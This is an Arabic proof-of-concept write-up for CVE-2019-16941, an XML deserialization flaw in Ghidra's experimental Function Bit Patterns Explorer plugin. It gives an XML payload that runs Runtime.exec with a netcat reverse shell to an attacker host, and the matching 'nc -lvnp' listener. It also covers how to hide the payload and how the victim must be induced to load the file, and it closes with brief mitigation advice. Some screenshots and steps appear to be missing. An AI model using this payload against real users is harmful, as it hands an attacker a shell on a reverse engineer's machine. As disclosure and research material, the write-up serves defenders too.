
PoC لـ CVE-2019-16941
إثبات المفهوم (Proof-of-Concept):
تتطلب هذه الثغرة الأمنية عدة شروط متعددة وغير محتملة نسبياً لكي يتم تفعيلها، وهو ما يحدّ من قابلية استغلالها. ومع ذلك، فإن تجهيز حمولة (payload) يتطلب جهداً وفهماً بسيطين، نظراً لإمكانية أن تؤدي إلى تنفيذ تعليمات برمجية عشوائية.
إنشاء الحمولة:
من أجل إنشاء حمولة ليقوم الهدف بتشغيلها، يمكن استخدام سكربت مضمّن في Ghidra. للوصول إليه، انقر على "Window" -> "Script Manager" وقم بتشغيل "DumpFunctionPatternInfoScript.java" بالإعدادات الافتراضية على أي ملف ثنائي قمت بإضافته إلى Code Browser (ولكن تأكد من وجود المسار إلى المجلد الذي تريد حفظ المخرجات فيه). يُنتج هذا السكربت ملف مخرجات بصيغة XML والذي سيتم تحميله لاحقاً في المكوّن القابل للاستغلال.

يمكن استخدام قالب XML هذا لحقن الكائن الذي سيتم إلغاء تسلسله (deserialized) ككود Java وتنفيذه بصمت، دون تنبيه المستخدم. بشكل أساسي، سيتم إدراج الكود الخبيث ككائن إضافي في نهاية ملف XML، قبل وسم الإغلاق . فيما يلي مثال على حمولة كائن تمثل صدفة عكسية (reverse shell):
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
سيتم إلغاء تسلسل ما سبق إلى كود Java التالي:
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
الخيارات غير محدودة فيما يخص الحمولة، حيث يمكن تشغيل أي كود Java (حتى البرمجيات الخبيثة المتطورة) بهذه الطريقة، طالما تم تسلسله بشكل صحيح إلى صيغة XML المطلوبة بواسطة XMLDecoder. ينبغي توخي الحذر إذا تم إدراج الحمولة في مكان آخر داخل القالب (من أجل مزيد من الإخفاء)، حيث قد يؤدي ذلك إلى حدوث استثناءات أثناء إلغاء التسلسل، مما ينبه المستخدم.
التنفيذ:
تعتمد العملية التي يتم من خلالها تنفيذ الحمولة على واجهة Ghidra الرسومية ولا يمكن أتمتتها. وبدلاً من ذلك، تتطلب تفاعلاً بشرياً من الضحية، وهو شرط آخر لتشغيل الاستغلال.
لكي يعمل هذا الاستغلال على جهاز الضحية، يحتاج Ghidra إلى تفعيل الإضافة التجريبية "FunctionBitPatternsExplorer". يمكن تحقيق ذلك باتباع الخطوات التالية:

بعد ذلك، سيُطلب من المستخدم فتح الإضافة من "Window" -> "Function Bit Patterns Explorer" وتحميل ملف XML باستخدام وظيفة "Read XML Files". غير أن هذا يطرح تحدياً آخر ضمن قسم الشروط. يحتاج المهاجم إلى وسيلة تمكنه من جعل المستخدم يقوم بتحميل حمولة XML إلى جهازه.
من منظور الضحية مرة أخرى، لن تتيح لك النافذة رؤية ملفات XML في القائمة، لذا إذا بدا مجلدك فارغاً فهذا أمر طبيعي. إذا بدأت بكتابة اسمها في حقل "File name" فستظهر، ومع ذلك من المهم ألا تقوم بتحديد أيٍّ منها وأن تترك المؤشر على المجلد، حيث سيتم التقاط الملفات تلقائياً.

قبل أن ينقر المستخدم على "OK"، سيكون المهاجم (joe) بحاجة إلى تشغيل مستمع (listener) على مضيفه البعيد وانتظار الاتصال. يمكن تحقيق ذلك بسهولة باستخدام:
$ nc -lvnp <listening_port>
بعد التنفيذ، يمكن رؤية النتائج أدناه:

من غير المرجح أن تكون هذه الثغرة قابلة للاستغلال على نطاق واسع بسبب تعدد الشروط المطلوبة. وإلى أن يتم توفير تصحيح جديد، فإن أفضل إجراءات التخفيف تتمثل في تعطيل الإضافة التجريبية المتأثرة (أو عدم تفعيلها من الأساس). ومع ذلك، في حال كان لا بد من استخدام الإضافة، يجب أن تأتي ملفات XML من مصدر موثوق.